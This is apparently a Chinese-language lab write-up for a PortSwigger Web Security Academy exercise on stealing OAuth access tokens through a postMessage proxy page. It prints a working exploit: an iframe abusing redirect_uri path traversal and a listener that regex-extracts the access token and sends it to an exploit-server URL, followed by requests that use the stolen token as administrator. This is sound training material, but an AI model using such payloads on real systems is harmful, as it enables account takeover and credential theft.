某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

    • 实验室做题记录
    • 服务器端

    • 客户端

    • 高级主题

      • 不安全的反序列化

      • GraphQL API漏洞

      • 服务端模板注入

      • Web缓存投毒

      • HTTP主机头攻击

      • HTTP请求走私

      • OAuth身份验证漏洞

        • 学徒-程序实现漏洞-隐式授权模式的不当实现
        • 从业者-程序实现漏洞-CSRF防护缺陷
        • 从业者-OAuth服务漏洞-授权码和访问令牌泄露
        • 从业者-OAuth服务漏洞-通过开放重定向窃取访问令牌
        • 专家-OAuth服务漏洞-通过代理页面窃取访问令牌
          • 题目
          • 实操
            • OAuth流程
            • 请求分析
            • 流程排序
            • 测试-1(引出Web消息与参数)
            • 测试-2(将访问令牌引到表单提交页面)
            • 规避跨域限制
            • 访问令牌截取
            • 最终载荷
            • 完成实验
            • 实后娱乐
          • 后记
        • 从业者-OpenID动态客户端注册-二阶SSRF
      • JWT攻击

      • 原型链污染

  • BurpSuite及官方实验室
  • 实验室做题记录
  • 高级主题
  • OAuth身份验证漏洞
carsaid
2024-02-09
目录

专家-OAuth服务漏洞-通过代理页面窃取访问令牌

# 实验室:通过代理页面窃取OAuth访问令牌

# 题目

此实验室使用 OAuth 服务,允许用户使用其社交媒体帐户登录。由于 OAuth 服务存在验证缺陷,导致攻击者有可能将访问令牌泄露到客户端应用程序上的任意页面。

若要解决实验室问题,请识别客户端应用程序中的次要漏洞,将其用作代理,从而窃取管理员用户的帐户访问令牌。使用访问令牌获取管理员的 API 密钥,并使用实验室横幅中提供的按钮提交解决方案。

管理员用户将打开你从漏洞利用服务器发送的任何内容,并且他们始终与 OAuth 服务保持活动会话。

你可以使用以下凭据登录到自己的社交媒体帐户:wiener:peter。

笔记

由于受害者使用 Chrome,我们建议你也使用 Chrome(或 Burp 的内置 Chromium 浏览器)来测试你的漏洞利用。

实验室-专家

通过代理页面窃取OAuth访问令牌 >>

- name: 实验室-专家
  desc: 通过代理页面窃取OAuth访问令牌 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page
  bgColor: '#001350'
  textColor: '#d112fe'
1
2
3
4
5
6

# 实操

(目前只有图,文字后面有时间补)

点击 “ACCESS THE LAB” 进入实验室。

Not Found Image

# OAuth流程

Not Found Image Not Found Image Not Found Image Not Found Image Not Found Image

# 请求分析

Not Found Image Not Found Image Not Found Image Not Found Image Not Found Image
<script>
    window.addEventListener('message', function(e) {
        if (e.data.type === 'oncomment') {
            e.data.content['csrf'] = 'ArsDeWdWGAoczUdiwc4yu7URACiJSPJr';
            const body = decodeURIComponent(new URLSearchParams(e.data.content).toString());
            fetch("/post/comment",
                {
                    method: "POST",
                    body: body
                }
            ).then(r => window.location.reload());
        }
    }, false)
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Not Found Image
<iframe onload='this.height = this.contentWindow.document.body.scrollHeight + "px"' width=100% frameBorder=0 src='/post/comment/comment-form#postId=7'></iframe>
1
Not Found Image Not Found Image
<script>
    parent.postMessage({type: 'onload', data: window.location.href}, '*')
    function submitForm(form, ev) {
        ev.preventDefault();
        const formData = new FormData(document.getElementById("comment-form"));
        const hashParams = new URLSearchParams(window.location.hash.substr(1));
        const o = {};
        formData.forEach((v, k) => o[k] = v);
        hashParams.forEach((v, k) => o[k] = v);
        parent.postMessage({type: 'oncomment', content: o}, '*');
        form.reset();
    }
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
<form id=comment-form onsubmit='submitForm(this, event)'>
    <label>Comment:</label>
    <textarea required rows=12 cols=300 name='comment'></textarea>
            <label>Name:</label>
            <input required type="text" name="name">
            <label>Email:</label>
            <input required type="email" name="email">
            <label>Website:</label>
            <input pattern="(http:|https:).+" type="text" name="website">
    <button class=button type=submit>Post Comment</button>
</form>
1
2
3
4
5
6
7
8
9
10
11
Not Found Image Not Found Image Not Found Image

# 流程排序

<iframe onload='this.height = this.contentWindow.document.body.scrollHeight + "px"' width=100% frameBorder=0 src='/post/comment/comment-form#postId=7'></iframe>
1
<script>
    parent.postMessage({type: 'onload', data: window.location.href}, '*')
</script>

<form id=comment-form onsubmit='submitForm(this, event)'>
    <label>Comment:</label>
    <textarea required rows=12 cols=300 name='comment'></textarea>
            <label>Name:</label>
            <input required type="text" name="name">
            <label>Email:</label>
            <input required type="email" name="email">
            <label>Website:</label>
            <input pattern="(http:|https:).+" type="text" name="website">
    <button class=button type=submit>Post Comment</button>
</form>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>
    // parent.postMessage({type: 'onload', data: window.location.href}, '*')
    function submitForm(form, ev) {
        ev.preventDefault();
        const formData = new FormData(document.getElementById("comment-form"));
        const hashParams = new URLSearchParams(window.location.hash.substr(1));
        const o = {};
        formData.forEach((v, k) => o[k] = v);
        hashParams.forEach((v, k) => o[k] = v);
        parent.postMessage({type: 'oncomment', content: o}, '*');
        form.reset();
    }
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
    window.addEventListener('message', function(e) {
        if (e.data.type === 'oncomment') {
            e.data.content['csrf'] = 'ArsDeWdWGAoczUdiwc4yu7URACiJSPJr';
            const body = decodeURIComponent(new URLSearchParams(e.data.content).toString());
            fetch("/post/comment",
                {
                    method: "POST",
                    body: body
                }
            ).then(r => window.location.reload());
        }
    }, false)
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14

# 测试-1(引出Web消息与参数)

<script>
    window.addEventListener('message', function(e) {
        if (e.data.type === 'oncomment') {
            e.data.content['csrf'] = 'ArsDeWdWGAoczUdiwc4yu7URACiJSPJr';
            const body = decodeURIComponent(new URLSearchParams(e.data.content).toString());
            fetch("/post/comment",
                {
                    method: "POST",
                    body: body
                }
            ).then(r => window.location.reload());
        }
    }, false)
</script>

<iframe src='https://<受害域>/post/comment/comment-form#test=123&carsaid=me'></iframe>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Not Found Image Not Found Image Not Found Image Not Found Image

# 测试-2(将访问令牌引到表单提交页面)

<script>
    window.addEventListener('message', function(e) {
        if (e.data.type === 'oncomment') {
            const body = decodeURIComponent(new URLSearchParams(e.data.content).toString());
            fetch('https://<漏洞利用服务器>/me?attack=' + body)
        }
    }, false)
</script>

<iframe src='https://<OAuth服务器>/auth?client_id=g8q4a4scd1aq1qsll4fib&redirect_uri=https://<受害域>/oauth-callback/../post/comment/comment-form&response_type=token&nonce=1159142019&scope=openid%20profile%20email'></iframe>
1
2
3
4
5
6
7
8
9
10
Not Found Image Not Found Image Not Found Image Not Found Image Not Found Image

# 规避跨域限制

// ✖
this.contentWindow.contentWindow
this.contentWindow.contentDocument
1
2
3
// ✖
this.contentWindow.location.href
1
2
Not Found Image
<!-- ✔ -->
<script>
    window.addEventListener('message', function(e) {
        console.log(e.data)
    }, false)

</script>

<iframe src='https://<OAuth服务器>/auth?client_id=g8q4a4scd1aq1qsll4fib&redirect_uri=https://<受害域>/oauth-callback/../post/comment/comment-form&response_type=token&nonce=1159142019&scope=openid%20profile%20email' onload="this.contentWindow.postMessage({}, '*')"></iframe>
1
2
3
4
5
6
7
8
9
Not Found Image

# 访问令牌截取

Not Found Image

# 最终载荷

<script>
    window.addEventListener('message', function(e) {
        var reg = /access_token=.{64}/;
        var token = e.data.data.match(reg)[0];
        fetch('https://<漏洞利用服务器>/me?attack=' + token)
    }, false)

</script>

<iframe src='https://<OAuth服务器>/auth?client_id=lolwo3hw0x79jbetrbz4n&redirect_uri=https://<受害域>/oauth-callback/../post/comment/comment-form&response_type=token&nonce=902248873&scope=openid%20profile%20email' onload="this.contentWindow.postMessage({}, '*')"></iframe>
1
2
3
4
5
6
7
8
9
10
Not Found Image Not Found Image Not Found Image

# 完成实验

Not Found Image

做了五、六个小时,把实验室整过期了都......(犟驴,就是不看答案)

Not Found Image

启个新的实验室,改下载荷中的域名,然后再次投递给受害用户。

Not Found Image

RMEfQLQEtfq4I9cJnRBoDkaGLG1Pi79Ffc026LzrE1V

Not Found Image
GET /me HTTP/2
Host: <OAuth服务器>
Authorization: Bearer <访问令牌>
Content-Type: application/json


1
2
3
4
5
6

QDRkBWwhyNNuohiywFsAzEkIsNxNBC7K

Not Found Image Not Found Image Not Found Image

# 实后娱乐

POST /authenticate HTTP/2
Host: <受害域>
Content-Type: application/json
Content-Length: 122

{"email":"administrator@normal-user.net","username":"administrator","token":"<访问令牌>"}
1
2
3
4
5
6
Not Found Image Not Found Image

# 后记

2024.03 再次尝试了该实验室,不知道浏览器是不是集体更新了

  • 在自己的浏览器里测试 payload 无法复现
  • 但是直接发送给受害者又能成功
编辑 (opens new window)
从业者-OAuth服务漏洞-通过开放重定向窃取访问令牌
从业者-OpenID动态客户端注册-二阶SSRF

← 从业者-OAuth服务漏洞-通过开放重定向窃取访问令牌 从业者-OpenID动态客户端注册-二阶SSRF→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式